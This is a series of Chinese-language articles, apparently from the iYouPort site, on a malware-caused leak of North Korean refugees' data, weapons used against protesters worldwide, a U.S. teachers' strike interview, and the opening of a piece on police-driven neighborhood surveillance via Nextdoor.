众所周知，韩国拥有世界上最强大的信息技术基础设施之一，而朝鲜难民群体极易受到攻击，哈那中心无法理解针对它的网络威胁的严重性。

卫生部证实，哈那中心在处理朝鲜难民的个人信息时违反了使用隔离网络的规定，导致通过电子邮件发送的恶意代码感染了员工的个人计算机。

尽管该中心在泄漏事件发生后宣布调整网络隔离，但专家表示，网络隔离并不是万能的补救措施。

“网络隔离并不能解决所有网络攻击问题。 需要为处理难民信息的所有员工提供更多的预防措施。” 韩国亚洲大学网络安全教授 Kwak Jin 说。

朝鲜网络技术能力的增长速度加剧了难民的恐惧。

“通常人们只是关注朝鲜核能力的增长，尽管核武器非常严重，但这种专注会削弱对朝鲜重要网络技术能力的关注，” 澳大利亚战略政策研究所国际网络政策中心研究员 Elise Thomas。

朝鲜不断增强的网络技术能力意味着坐在屋子里就可以控制和操纵整个社会。

朝鲜在国外进攻性地使用其网络力量，而在国内通过建立数字隔离墙来 “防御” 朝鲜人民从国外访问信息，从而将人们限制在其国家控制的宣传网站上，这些网站称赞金正恩的一切举动，同时谴责韩国和美国政府。

人们已经敏锐地意识到了朝鲜的网络技术能力以及过去案件中暴露的信息的后果，因此，有家人被带回朝鲜的朝鲜难民一直充满焦虑。

2006年，一名韩国哨兵在韩国江原道高城的船上发现了一群朝鲜难民。一旦朝鲜政府了解了难民的身份，就会胁迫其留在朝鲜的家庭成员让他们遭受惩罚，难民们要求韩国调查人员不要向公众透露他们的信息。

但是，韩国江原道省警察厅向韩国新闻媒体发布了一份报告，其中就包含了难民身份的详细信息，以此向公众公开了难民的致命隐私。

在联系了他们在朝鲜的信息源后，难民得知了灾难性的消息：他们的直系亲属中共有22名成员在朝鲜失踪了。他们的下落仍然未知。

难民和北朝鲜民主化委员会主席 Heo 说，当新闻再次没有保护难民时，难民社区被“激怒”是很正常的。

随着时间的流逝，针对韩国政府和公共机构的网络威胁越来越严重。专家说，他们的目标之一是统一部。

“最近，朝鲜及其与韩国和美国的关系有关的问题在全球引起了很多关注。对统一部的网络攻击的次数增加也与此有关”，Kwak 说。

根据统一部在2019年有关黑客和网络攻击尝试的报告，在过去的几年中，该部遭受的网络攻击数量已大大增加。从2017年到2018年，攻击次数几乎翻了一番，达到 630 次。

攻击哈那中心的黑客的身份仍然未知。韩国警方仍在调查此案。许多朝鲜难民，包括许光日，都认为网络攻击是由朝鲜政府进行的。

Heo 说：“朝鲜拥有世界上最强大的网络军队之一。他们的黑客不仅在朝鲜境内活动，而且在不同国家/地区活动。”

- 不要错过这份报告，很详细《美国、中国和俄罗斯：暗网最强大的民族国家骇客》

据称，朝鲜在过去几年中曾多次发动网络攻击。

2018年，美国财政部指控朝鲜政府资助的黑客组织 Lazarus Group 主导实施了 Wannacry 勒索软件攻击，该攻击影响了150个国家的医院、银行和其他公司，造成的损失从数亿美元到数十亿美元不等。

朝鲜否认在网络攻击中发挥任何作用，但财政部指出了 Lazarus 以及其他两个朝鲜的黑客组织。FBI还指控了一名朝鲜计算机程序员 Park Jin-hyok，该人据称曾在 Lazarus 从事 WannaCry 攻击行动以及参与了2014年对 Sony Pictures 的黑客攻击。

随着朝鲜的网络技术能力日益成为世界上最危险的力量之一，包括美国在内的其他国家也正在采取行动，加强其国防系统。

作为受朝鲜网络威胁打击最严重的国家，韩国的网络防御系统在很大程度上能阻止朝鲜黑客的攻击。但是许光日认为，生活在韩国的许多北朝鲜难民有不同的感觉。

李说：“哈那中心在处理朝鲜难民的个人信息时不够谨慎。统一部也不应忽视对难民的保护。”

“韩语里有句老话：一头牛被盗后要修好谷仓的门。对我们许多人来说，被告知在信息被盗后联系接待处似乎毫无意义，这并不像我们向

韩国政府索要什么东西一样比如钱。我们不是在要求其他任何东西，而是，要把我们视为国家的公民。让我们成为与其他韩国人处于同一地位的人。”〇

North Korean refugees are at the center of massive data leak

原文

镇压部队最常用哪些武器对付抗议者？- 概览 - iyouport

维稳面面观

【2020年11月18日存档】如您所见，这些武器就如监视技术那样，跨国 “流通”—— 其中中国是武器提供商的角色。如果中国发生抗议活动，您完全可以想象当局将采取什么样的武装镇压模式 …… 反抗者需要提前了解这些知识

这个2020年的夏天，世界各地都出现了新的抗议浪潮，有些是在长期动荡的城市和国家，还有些则是在这种大规模示威活动非常罕见的地方。

在许多这些抗议活动中，警察都以过度的武力应对。从这些抗议现场拍摄到的录像中可见，其中一些属于以前没有被开源调查人员很好地记录过的武器使用，它们为研究和分析镇压部队的战术、帮助公民了解镇压手段，提供了重要的机会。

- 不要错过，我们曾经在黄背心运动中记录了一些典型的镇压武器，见《现代维稳战术一瞥》

镇压部队所使用的武器中有一部分沿用了旧的模式。比如在黎巴嫩，2500多吨硝酸铵在贝鲁特的一个港口仓库爆炸，造成了广泛的破坏，并再次引发了公民对政府的不满，此后，黎巴嫩再次爆发了抗议活动。正如以前记录的那样，镇压部队以催泪弹作为回应 —— 黎巴嫩镇压部队使用的大部分催泪弹由法国 **SAE Alsetex** 公司制造。

这并不奇怪。法国经常向其前殖民地出口警察装备。例如，法国的催泪瓦斯今年被用来对付科特迪瓦的抗议者，警方使用瑞士 **B&T** 公司生产的 **GL06** 榴弹发射器发射催泪弹。

- 还包括出售监视技术 《法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难》

【注：B&T GL-06 是一款由位于瑞士图恩的枪械及其附件生产商 B&T 公司设计和生产的肩射型榴弹发射器，发射40×46毫米低速榴弹。这是一个能够执行多重战术任务的独立使用型第三代40毫米榴弹发射器系统。当使用非致命性弹药时，它能有效地完成镇压和维稳任务；而当装填高爆弹药时，它是一款可靠的地面战术支援武器】

法国是催泪瓦斯的持续出口国，也是一个很好的案例 —— 说明历史上的地缘政治关系如何在当下继续指导武器销售。

这些关系可能是重要的，并解释了为什么，例如，白罗斯的警察一直在使用俄罗斯制造的武器设备试图扼杀明斯克的抗议活动。下图中这些克格勃阿尔法军官携带着红色 SV-1319 榴弹，最右边的军官携带的是俄罗斯 GM-94 榴弹发射器。

【注：阿尔法特种部队（俄语：Группа ”Альфа”）是前苏联国家安全委员会（克格勃）所属的特种部队，于1974年7月28日在苏联克格勃主席尤里·安德罗波夫的倡议下成立。阿尔法特种部队于苏联解体后由俄罗斯联邦、白罗斯及乌克兰等继承国接管，其中俄罗斯的阿尔法特种部队从1998年起隶属于俄罗斯联邦安全局特别用途中心A科（俄语：Управление «А» Центра специального назначения ФСБ России）】

【注：GM-94是由俄罗斯俄联邦仪器设计局所研发的一款泵动式榴弹发射器，目前正被俄罗斯联邦安全局和俄罗斯联邦国家近卫军的特种部队所使用，并曾参与于北高加索地区的反叛乱行动。

GM-94 是一种短程武器，其最大安全距离只有10米，适合用于近距离的战斗。该武器设计和操作方式都十分简单，因此在尘土飞扬和肮脏的环境下都能操作如常。

GM-94 目前已装备于俄罗斯联邦国家近卫军及俄罗斯联邦安全局的特种部队，并已出口到哈萨克以及利比亚等国家。】

GM-94 发射43毫米 VGM-93 系列榴弹，如下图中的 93.200 催泪弹（红圈标注）。

这张由大赦国际研究人员在明斯克拍摄的图片还显示了白罗斯警方使用的其他类型的低杀伤力霰弹，包括各种动能冲击弹和 ТЕХКРИМ 和 Azot 的 “老派” 橡胶子弹。

有趣的是，我们还看到了7.62毫米空包弹的证据，这应该是由AK型步

枪发射的。在全球范围内都很少看到警察用空包弹吓唬抗议者的证据——如果警察用步枪射击，几乎都是装的“实弹”。

黎巴嫩与法国之间有着悠久的历史，就像白罗斯与俄罗斯之间的历史那样，但是，请注意，这些历史联系并不总是具有预见性。

例如，在上图中，几名克格勃阿尔法军官还携带着意大利 **FABARM** 和贝内利公司生产的霰弹枪，这些枪是世界各地的警察部队使用的。

【注：黑克勒&科赫 FABARM FP6（Heckler & Koch FABARM FP6）是一款由意大利枪械公司费巴尔姆公司（FABARM，全称：Fabbrica Bresciana Armi S.p.A.）研制和生产、并且由德国黑克勒&科赫销售的泵动式战斗霰弹枪，该产品主要用作民用和执法机关使用，发射23/4英寸或3英寸12铅径霰弹。

该武器的特点包括镀铬式扳机、滑动式枪机的释放按钮和霰弹药筒框。还有一个超大尺寸的三角形按钮式保险。扳机组件由两根插销保持固定在机匣中，这使得在清洁和维修时拆卸扳机组件变得很容易。某些型号具有翻转式准星（近战时可作为低剖面瞄准具），而其他的则配备了小型片状瞄准具。其他型号则配备了鬼环式瞄准具。

前护木和枪托都是黑色人工合成聚合物材质，而后者还在尾部装有一块由合成橡胶所制造的后座缓冲垫。其中一个型号以重型钢丝制折叠式枪托和手枪式握把取代了枪托。各个型号分别为具有黑色阳极保护表面处理，哑光表面处理，或是碳纤维增强表面处理。】

【注：贝内利（Benelli Armi SpA）是意大利枪支生产商，成立于1967年，总部位于意大利乌尔比诺。

其产品例如，贝内利M1是可得军方、镇压部队、民用三方所接受的霰弹枪，其最大特征是贝内利专利的后座作用系统—惯性后坐，有着高度可靠性和容易的维护的优点，惟其惯性后坐系统的设计问题，贝内利M1需要大量高压火药燃气以确保其循环正常。

标准型贝内利M1的特征是使用了铝合金制造、管式弹仓和可转换标准手握式枪托或手枪式握把枪托。贝内利M1适合使用传统的缺口式机械照门或鬼环式照门，另外亦可安装激光瞄准器或战术灯等配件。】

而在今年夏天塞尔维亚贝尔格莱德举行的抗议活动中，并没有像人们所期待的那样看到俄罗斯的武器，而是，看到了中国的榴弹发射器！

—— 在这个案例中，7月10日出现的是 NARG 38。

同样，在几内亚，我们经常看到的是使用镇压部队使用法国的武器产品，而科纳克里的警察部队在今年2月使用了中国生产的NARG 38。

突尼斯的情况也是如此，6月份在塔塔维纳的抗议活动中镇压部队使用的是西班牙 **Falken** 公司生产的 **FC-822M** 型榴弹，而不是法国装备。

但有时，警察部队使用的催泪瓦斯是自产的。

在委内瑞拉，国营军火制造商 Cavim 供应用于对付抗议者的催泪弹。而在美国的 BLM 抗议活动中，警方绝大多数时候使用的是美国本土产品，特别是联合战术系统和防御技术公司 (Safariland 的子公司) 的产品。

【注：Safariland 是一家位于美国的个人设备制造商，它以前是英国国防和航空航天公司 BAE Systems PLC 的一个部门。】

今年夏天，许多美国人第一次听到 “胡椒球 pepperball” 这个词。5月和6月席卷全国的抗议活动的特点是广泛，不仅在地理上广泛，而且警察使用的镇压武器种类繁多，包括刺球榴弹、动能冲击弹，是的，还有胡椒球枪。

【注：胡椒球弹, 又名胡椒球或胡椒弹，是一种内含催泪性化学粉末的低致命性弹头。其所含粉末的成分类似于胡椒喷雾，常被警方用于防暴 、驱散人群等用途。 它主要是由特制发射器、或是经改装的漆弹发射器发射。】

- 在这里看到抗议运动开始之初我们对镇压武器和防御方法的收集《当我们陷入困境》

国防承包商始终在开发新的产品以扩展其业务。了解这些新的镇压武器对抗议者来说非常重要 —— 您需要首先知道自己将面对什么，以便有针对性地采取保护措施。在抗议活动期间，公民活动家对现场武器的观察、记录和分析，都非常重要，与具备专业知识的人员配合及时发布您的分析结果，对所有参与者来说都是非常有利的知识参考。

接下来记录的是去年末在伊拉克发起的抗议活动中出现的镇压武器。

2019年10月1日，巴格达和伊拉克南部几个城市爆发了反腐败和针对政府政策失败的大规模抗议活动，这些抗议活动到今年仍在继续。

在整个危机中，大赦国际记录了安全部队过度使用武力的诸多证据，有时甚至使用致命武力驱散抗议者。

记者和研究人员希望了解安全部队对示威者使用的武器究竟是什么。大赦国指出，镇压部队使用了各种新型武器，几乎所有这些武器都不适合作为维持治安的工具。

从去年10月开始的催泪弹袭击，到在 Twitter 上引发 #StopHuntingUs 抗议标签的气步枪镇压，大赦国际伊拉克研究团队和危机证据实验室花了很多时间来监测镇压部队武器装备的演变。接下来将详细介绍针对伊拉克抗议者使用的各种武器。

榴弹发射器

镇压部队发射的是两种不同大小的榴弹，需要使用两种不同的发射器。较小、较轻的榴弹是世界各地都有的标准**37**毫米或**38**毫米催泪弹，由中国公司 **Norinco** 制造的 **NARG 38** 发射。

【注：Norinco 中国北方工业有限公司，是一家综合型国际防务公司，具有遍布全球的经营网络，业务涉及防务产品、石油、矿产、国际经济技术合作及民品专业化经营等五大领域。在国际军贸市场，北方工业主要以其高科技防务产品和服务而闻名，包括坦克装甲车辆、压制武器、制导武器、弹药、机载武器系统、舰炮产品、防空系统、岸防和边境监控、无人平台、雷达和光电产品、步兵武器、反恐防暴、工程装备及军工项目等。】

镇压部队携带 NARG 38 和燃烧弹。图片来自Twitter上的 ALi Dab Dab。

中国 Norinco 公司生产的 NARG 38 榴弹发射器在伊拉克出售。被伊拉克镇压部队使用。

此前已经广泛报道过的更重、更危险的40毫米榴弹是通过塞尔维亚生产的 RBGP M08 发射的。这是有道理的，因为许多有问题的榴弹是塞尔维亚的 M99。镇压部队的视频显示，在巴格达解放广场（Tahrir Square）的 Jimhuria 桥上，戴着面具的持枪者正向抗议者发射催泪瓦斯

视频1:08处出现RBGP M08

这个是Namenska（塞尔维亚）RBG-P M08 40毫米榴弹发射器/防暴枪

目击者的描述表明了为什么这些榴弹会造成如此多的伤害。部分原因是榴弹的重量 —— 250克的榴弹比标准罐重10倍 —— 但同样令人不安的是它的使用方法。

去年10月，巴格达的一名抗议者说："有时这些榴弹以弧形的状态向空中发射，然后落地"。"有时他们像RPG[火箭推进榴弹]那样直接向抗议者发射。在30秒内接连发射5至6枚"。

【注：火箭推进榴弹（Rocket-propelled grenade）简称RPG，是前苏联研制的单兵肩托式反装甲支援武器，现时一般所提及的RPG往往是指当中最为著名的 RPG-7。】

气步枪

「图」

2020年1月，出现了安全部队部署的一种新武器的画面：气步枪 —— 在欧洲和中东地区最常用于猎杀鸟类和小动物的武器。

这些武器使用压缩空气而不是黑火药或其他燃烧的东西作为推进剂，向目标发射小型尖头弹丸。虽然它们不会直接杀死人，但是会造成非常痛苦的伤口，伤者需要进行手术，警察完全不应该使用这种东西。

鸟弹

「图」

标准警用霰弹枪可以发射各种弹药。有些种类的弹药 如橡皮子弹，在非常特殊的情况下是可以使用的。但是，最近发现被镇压部队使用的鸟弹绝对不应该使用。

与气步枪的弹丸一样，鸟弹也用于狩猎。然而，鸟弹不是单一的弹丸，而是包含了几十个直径3毫米的球，这些球以喷射的方式发射，以造成独特的、可能是致命的伤害。靠近面部和躯干重要器官的鸟弹伤特别危险。

弹弓

「图」

更不寻常的是，有人看到伊拉克镇压部队拿着弹弓，他们用弹弓发射

金属弹珠。同样，这也是警察完全不该使用的武力。镇压部队使用弹弓 via ALi Dab Dab

警棍

「图」

驻扎在桥梁和立交桥上的镇压部队往往会从远处向抗议者开枪。然而，当镇压部队到达个别抗议者身边时，他们往往会殴打抗议者。

1月，一名抗议者告诉大赦国际："我目睹了许多镇压部队将人拖在地上殴打的情况。其中有些被殴打的人甚至还未成年，最多只有**14**岁或**15**岁。当被殴打的抗议者回到抗议的主要地区时，他们的身上会有警棍和棍棒的痕迹"。

大赦国际还获得了一名抗议者背部严重伤痕的照片证据，证明殴打可能构成酷刑。

步枪

「图」

虽然镇压部队使用了各种低致命性武器 (有些是适当的，但许多都不适当)，许多枪手也配备了各种卡拉什尼科夫式自动步枪。这些武器往往与催泪弹和其他武器一起使用。

【注：卡拉什尼科夫自动步枪，又称为"AK-47"，是由前苏联枪械设计师米哈伊尔·季莫费耶维奇·卡拉什尼科夫设计的突击步枪。】

据一名抗议者说，"镇压部队使用的策略如下：他们首先使用实弹驱散抗议者，直接向抗议者开枪，然后在人群逃跑的骚动中，他们会使用催泪瓦斯，直接向抗议者发射催泪弹"。镇压部队手持AK型步枪。AliDabDab on Twitter

然而，一些特定部队拥有其他武器，可以单独识别。例如，巴士拉的"突击部队" 装备的是克罗地亚的 VHS-K2，这是在打击自称伊斯兰国的武装团体的战斗中缴获的。

【注：2013年4月，HS公司在亚得里亚海国防和航天工业展（ASDA）中展出了VHS步枪的改进型—— VHS-2。据称克罗地亚军队也将采用VHS-2。在2015年初，法国政府正式开始取代 FAMAS 的

未来单兵武器（Arme Individuelle Future）项目的招标，VHS-2也是5个投标方之一。

VHS-2同样有两个型号，长枪管型为VHS-D2，短枪管型为VHS-K2。相应的，原来的两种型号的VHS则重新命名为VHS-D1和VHS-K1，旧的型号仍在HS公司的官方网站的产品目录中销售。】

特别是这个“突击部队”，众所周知它有侵犯人权的历史。1月，一名抗议者告诉大赦国际，“在巴士拉，压迫是极端的，比任何其他省份都严重”。“突击部队经常对我们（抗议者）使用实弹和催泪瓦斯，甚至对封锁道路的人也是如此。他们甚至使用猎杀动物的工具（对付抗议者）”。

下图：抗议者收集到的镇压部队使用实弹的证据：

📌 大赦国际提醒记者和参与抗议运动的活动家：在抗议现场如果您确实收集到了用过的弹壳，请拍摄弹壳平底部分的“头戳”，因为这样可以使调查人员追踪弹药的出处。

【注：头戳是子弹头底部的标记。它通常会显示制造商是谁。如果是民事案件，它通常也能说明枪支的口径：如果是军事案件，则通常会加上制造年份。】

下图是1984年由俄罗斯新西伯利亚工厂制造的7.62×39毫米子弹的头戳。2019年8月，大赦国际调查员在利比亚的黎波里拍摄到的。

对国际义务的藐视

「图」

根据联合国的准则，安全部队应避免使用枪械，除非有迫在眉睫的死亡或重伤威胁，而且没有其他任何合适的替代办法的情况下。

目击者的证词和人权组织的分析都清楚地表明，自去年10月以来，伊拉克当局对抗议活动的镇压在许多情况下都缺乏这种克制。

抗议者有权期望安全部队保护他们，而不是任意杀戮和残害他们。伊拉克当局必须立即控制安全部队，对那些对严重侵权行为负有责任的人的实施免职，并启动彻底、独立的调查，以追究责任，为受害者及其家属提供补救。

最后

「图」

本文列举了自去年开始到今年发生的备受瞩目的几场抗议活动中镇压部队所采取的武器，如您所见，这些武器就如监视技术那样，跨国“流通” —— 其中中国是武器提供商的角色。如果中国发生抗议活动，您完全可以想象当局将采取什么样的武装镇压模式。

活动家和参与者甚至围观者，都有必要了解这些知识，以便做到更有效的防备；或者至少是与人权组织合作进行取证调查。〇

Police Riot Gear, Old and New

#IraqProtests Under Fire: The Weapons Used Against Demonstrators

原文

阶层斗争持久战中的教师 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

是什么激发了运动的蔓延？如何避免被当权者的敷衍迅速灭掉运动的气焰？从塑造需求到组织罢工，以及与更广泛的社区建立团结，这其中的关键在于什么？

「图」

「图」

教师罢工的浪潮始于西弗吉尼亚州，最初分布在几个红州，然后进入蓝州，在洛杉矶、丹佛和奥克兰蔓延。

领导教师激进运动的 Gillian Russom 在洛杉矶担任高中历史教师已有18年。在大部分时间里，她一直是洛杉矶联合教师工会（UTLA）的积极分子，目前在工会的董事会任职。她也是 Haymarket Books 出版的“教育与资本主义”一书的撰稿人。

以下是她与 Truthout 的访谈，讨论教师工会应如何参与选举政治。其中体现的一些线索可能是值得中国的劳工运动借鉴的经验。

Ashley Smith: 教师的罢工震动了美国各州，到目前为止罢工的关键经验教训是什么？如何将这些推广到其他公共部门，特别是工会仍然非常薄弱的私营部门？

Gillian Russom: 首先， 不仅仅是教师才会引人注目。罢工远远超出教育职业的范围 ，远远超出了 酒店工作人员 、高科技工作者、护士、甚至工业工人……例如，宾 夕法尼亚州伊利的 Wabtec 工厂 。

我们还看到了墨西哥境内的罢工，教师一直在引领这场斗争，现在我们看到了沃尔玛和 加工厂的罢工 。

我认为人们正在学习的最明显的教训就是 如何用行动吸引和动员周边人 。 在一两个星期的时间内，你就将获得几年来和几十年来你尝试

任何和平方法都没能获得的改革。人们是亲眼看到这一点的，这就是为什么罢工潮一直在蔓延。

另一个重要的经验教训是 积极的、踊跃的、和充满启发性的普通职工参与是获胜的关键 。例如，在西弗吉尼亚州，通过 Facebook 连接的普通职工在一起热情地讨论和辩论，然后纷纷参与进来。

在像洛杉矶这样的地方，通过 新的组织策略 ，例如在工作现场建立行动小组，有意识地调动了普通人的参与。如果没能这样不断调动普通人的加入和行动，最好的结果不过是获得一场轻微的罢工，稍微见到一点成功就解散了。 这样就很容易因被当权者的敷衍而迅速叫停。

你不仅可以自己罢工并赢得胜利，而且在今天的政治环境中，还会得到大众的支持。 人们渴望看到有人可以站出来采取反对富人的立场，因为阶级不平等已经失控。

所有这些都适用于私营部门。许多私营部门与公众密切合作，提供人们所依赖的服务。人们已经厌倦了大公司的运作方式，并在工人罢工时会与工人们站在一起。来自 芝加哥酒店工作人员 的大力支持就是一个典型例子。 提高共同的良好需求为目标将这种支持转变为积极参与 。这不仅仅是指我们代表社区行事，而是我们为所有人想要的一切而奋斗、共同努力。

这将进一步扩大你的力量。是的，他们说谢谢你，但他们也说，“这也是我自己的斗争”。这种团结是强大的，可能是不可阻挡的。

罢工还表明了在合同谈判中 跳出旧有思维框架 的重要性。即使你认为自己无法赢得胜利，也应该真正思考最大的问题并提出要求，因为这会让人们考虑争取 更大的 社会和经济正义。 别局限自己在眼下的小问题上，当你停工时，你永远不知道你能真正获得什么。

对我们来说，另一种思维方式是 克服公共部门面临的经典困境 ；通常，无论你与谁讨价还价，都会被告知“缺乏资金”。因此，他们可以声称他们没有钱来满足你的要求。这种时候你要清醒。对于我们的案例，我们面临一个拥有20亿美元盈余的地区。但在其他情况下，他们没有盈余，而是赤字。

在这种情况下，你可能会认为你必须缩小自己的要求，因为据说“钱不在那里”。我们必须拒绝这种做法。那里有钱。所有这些都是由减税和紧缩造成的危机。

所以，你必须提出要求，可能需要我们的 直接雇主以外的人与他们谈判 。这就是我们在洛杉矶所做的。最初我不知道这是否会起作用，以及我们能够在多大程度上迫使国家采取行动。

但我们让加利福尼亚州州长签署了关于 特许学校透明度的法律 ；这在我们的罢工之前从未发生过。

我们的学校董事会要求州政府以5比1的票数限制特许学校。是一个以私有化为主的学校董事会。洛杉矶市长是一位非常主流的政治家，而他现在表示，他将帮助支持“ 学校和社区第一法案 ”，该法案将最终以正确的财产价值向公司征税。

这一切都不是在罢工之前发生的。因此，我们 在更大的层面上提出了这些问题 ，即使我们知道 这些问题是我们的直接雇主所无法解决的 ，以便强迫他们谈论并希望强制采取某些行动也不行。这就是现在正在发生的事。

Ashley Smith: 这次罢工浪潮最重要的因素之一是普通教职员工的主导作用。为什么这对工会运动的经验学习如此重要？

Gillian Russom: 如果你想要获胜，那么就不如 调动普通人积极地参与整个斗争，从塑造需求到组织罢工，以及与更广泛的社区建立团结。许多工会都在谈论普通人的权力和参与，但仅限于结构方面。

但是什么驱使这些结构的？它必须是您 在工作现场进行的对话 。如果活动家们没有谈论什么，我们又为什么需要与活动家的比例为10：1？

因此，使我们能够显著地涉及普通人的方法是我们 基于大局的对话 。我们决定与我们的成员讨论紧缩和私有化带来的整个问题，而不是眼下的诸多小问题。

我们有一个摘要表，上面有谈话要点，与我们的成员讨论公共教育面临的存在危机、尤其是造成这一危机背后的人 — — 那些亿万富翁。因此 要激活普通人的斗志，您需要的不仅仅是结构；你有一个具有激活力量的真正目的。

最后一个重要的教训是，我们在工会运动中应该保持信心，如果我们将我们的问题提取出要点应对来自亿万富翁阶层的攻击，我们就将赢得支持和团结。我们可以建立更广泛的工人阶级反击。

Ashley Smith: 现在在工会运动中有很多关于如何在选举舞台上推进

其议程的讨论，特别是在民主党内部。关于工会如何应对选举政治，您有何看法？

Gillian Russom: 罢工浪潮极大地改变了全国各地，特别是民主党内部公共教育的讨论，甚至在支持紧缩和私有化的一些人中也是如此。许多民主党人现在都将自己视为我们运动的盟友。

但事实是……新自由主义的教育议程一直是两党的，民主党人已经超越了共和党人所做的。想想奥巴马的联邦政策，通过开放更多的特许学校并将教师评估与标准化测试联系起来，迫使学区争夺一小笔钱。

记住，当党派的整个部分正在改变他们关于教育的观点时，民主党在这方面的作用至关重要。我们显然知道原因：那就是 我们罢工的受欢迎程度以及我们如何改变对话。这应该使我们坚定自己的立场并继续罢工浪潮，而不是简单地集结到这个或那个现在改变立场的政治家。

在我的工会中，每次学校董事会选举时，总是一个经典的克制，因为我们有一个七人的学校董事会，为了得到我们想要的东西就必须依赖于其中四个民主党人。在这种情况下有些人甚至说“如果我们不全力参加学校董事会选举，我们在罢工期间赢得的一切都将处于危险之中”。

幸运的是，我们工会中的许多人拒绝这种思维方式。我们说：“记得我们输掉了最后一次校董会选举，但他们现在投票支持我们的议程，因为我们进行了罢工 。他们甚至要求在加利福尼亚的特许学校上限！正是我们来自工作场所的力量改变了对话和政策。“

这并不意味着我们应该忽视选举舞台。因为我们已经改变了对话，我们可以换一种方式对政治家们说，如果你不再需要紧缩和私有化，就相当于正在为公立学校提供资金，这正是我们想要你做的事。这正是我们在加利福尼亚所做的。

我们还说，如果你现在与教师们站在一起，及时限制特许学校并对其进行规范，并且需要在开设任何新的特许学校之前提供社区影响报告。大多数社区已经有足够的公立学校。开设特许学校的唯一影响将是失去教师和解散公立学校。

通过报告揭露这些事实，我们可以为更大规模的反对运动建立支持 。我们可以为萨克拉门托的法案提供支持，以暂停特许学校。我们应该利用罢工积累的势头要求所有候选人都采纳我们的要求。

Ashley Smith: 这对即将举行的总统选举意味着什么？

Gillian Russom: 它使我们有机会提出一个国家计划，即我们在全国范围内进行的罢工在联邦一级的要求和需求。政府制定了所有这些可怕的政策，如 Race to the Top，将一切都缩小到州和地方层面。但许多州的政客声称资金并不是他们的问题，因为它主要是一个国家问题。

我们需要改变那次谈话。这有几种方法可以做到这一点。首先，Title I 是一个联邦计划，根据低收入学生人数为学校提供资金。但是现在，政治家们正在通过大规模的“资金不足”借口来违反这一承诺。我们应该要求所有总统候选人改变这一点并为 Title I 提供全额资金。

其次，我们需要鼓励特殊教育经费。联邦政府应该将这笔资金的 40% 捐给地区，但他们几十年来一直没有这样做（ 他们目前仅提供 14.7% ）。因此，学区因为根据“残障人士教育法”在法律上有义务提供特殊教育，所以学区已经弥补了差异，并且这些都来自当地的学校预算。这就是为什么当地学校预算匮乏的原因。

因此，我们可以要求联邦政府履行为特殊教育提供资金的义务。这次选举是一个开端。我们应该推动我们的工会。

现在不是到处考虑代言或者我们更喜欢哪个人的时候；现在是时候在地方、州和联邦层面制定公共教育议程，并要求政治家签署这一议程。我们或许能够为2020年之前的教育提出“新政”。

Ashley Smith: 新一代社会主义者在这场罢工浪潮中发挥着关键作用。社会主义者应该如何组织这个新的令人兴奋的局面？

Gillian Russom: 如果你在任何这些罢工期间都在纠察线上，你会感受到我们 作为工会会员所拥有的不可思议的力量 。这就是让这些罢工如此惊人的原因。我认为我们作为社会主义者的角色必须是 推动这种为共同利益而议价的战略 ，但我们需要超越这一目标， 为共同利益创造工会，为共同利益创造一整套工人运动。

我们必须将这种精神带入我们为整个工人阶级运动制定战略的方式。我们必须成为我们的领导者，帮助扭转已经持续数十年的片面阶级战争。所有这一切的关键是将阶级需求与压迫，特别是种族主义的具体问题结合起来。

我们国家有这么多钱，集中在富人和他们的公司手中 。想想硅谷和所有公司，如 Apple，Wells Fargo，Chevron 等。然后再想想在洛杉矶

中南部和东洛杉矶上学的学生。 这种不平等是一种犯罪。

与此同时，我们工会的社会主义者认为，UTLA 应该推动市政投票措施，以阻止监狱资金，并为执法制定更多的问责制。这被称为改革洛杉矶监狱，将从监狱中剥离资金，并将其转入就业资金和心理健康计划。洛杉矶县监狱系统是全国最大的监狱机构。这只是我们如何在社会主义观点基础上领导运动的一个例子， 这种观点将阶级不平等、种族主义和所有其他压迫的斗争结合在一起进行共同斗争。

- ○ 当“正规流程”失败时普通人还有一个重量级的武器可以让政策制定者改变主意，那就是运动。 这篇访谈希望中国读者能尤其注意到 ：1、是什么激发了运动的蔓延？或者说，如何用行动作品吸引和动员尚未行动起来的人。2、如何避免被当权者的敷衍迅速灭掉运动的气焰？3、从塑造需求到组织罢工，以及与更广泛的社区建立团结，这其中的关键在于什么？

If you want to win, the rank and file must be actively involved in the whole struggle, from shaping demands to organizing strikes and building solidarity. Striking works. In a period of a week or two, you win reforms that you have not gotten in years and decades. — Teachers Are the Underdogs in a Decades-Long Class War

原文

需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络 - iYouPort

你应该了解的现实技术暴政维稳面面观

这是一个高科技群众斗群众的典型案例。中国社会需要警惕，尤其是敏感人士，因为，如您所知，中国当局非常擅长模仿；加之，在任何社会都不可低估贪便宜和八卦心理的比重，因此这种手段对当权者来说会很高效

【按】中国读者对群众斗群众一定不会陌生。它是一种经典的镇压手段，在历史上通常使用人力线人来构建无处不在的监视社会网络。它导致人与人之间无法再彼此信任，也就无法再联合起来以抵抗暴政。

在如今的高科技大规模监控时代，群众斗群众这种古老的做法事实上并没有消失，相反，它在技术监视的世界里找到了重要的一席之地。

- 《在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？》

您肯定已经知道至少自家附近的街道上哪里有监视摄像头，您也自然会知道，如何绕行或进入民宅就能躲开那些监视器。想象一名抗议者正在逃离警方的追捕，只要他遮住脸、戴上手套、扔掉手机、放弃汽车、穿过没有监视器的小巷、进入民宅 …… 理论上就能隐藏起来。可惜，那只是曾经。

而如今，警察将整个社区中的所有人变成了线人 ……

他们是如何做到让人们心甘情愿成为维稳工具的？

「图」

「图」

登录 Nextdoor.com，这是华盛顿特区内容最丰富的留言板，除了丢失的钥匙和要出售的微波炉照片外，还有：监视摄像机的视频剪辑。

“有人正试图进入停放的汽车（可能手持可见的枪）”，一个名为“Simon J.” 的用户写到，2018年7月10日，还配了一张照片，是一名黑人在货车旁边行走的模糊图像。这个 Simon J. 在华盛顿乔治城社区的 Nextdoor 论坛上发表的其他帖子显示，那个所谓的 “可见枪支” 仅仅指的是该人衣袋中的隆起。（仅仅是想象中的 “武器”）

接下来是邻居的一连串评论，每个评论都声称他们 “也看到” 了这个人在附近出现。

“我在29街也看到过他…… 在那儿琢磨汽车！” 另一个人写道。另一位女士回应说，她也看到此人在 “检查汽车”，并附上了一张身份不明的黑人大白天在人行道上骑自行车的照片，而照片中那个人的脸背对摄像机。（完全不知道是不是同一个人）

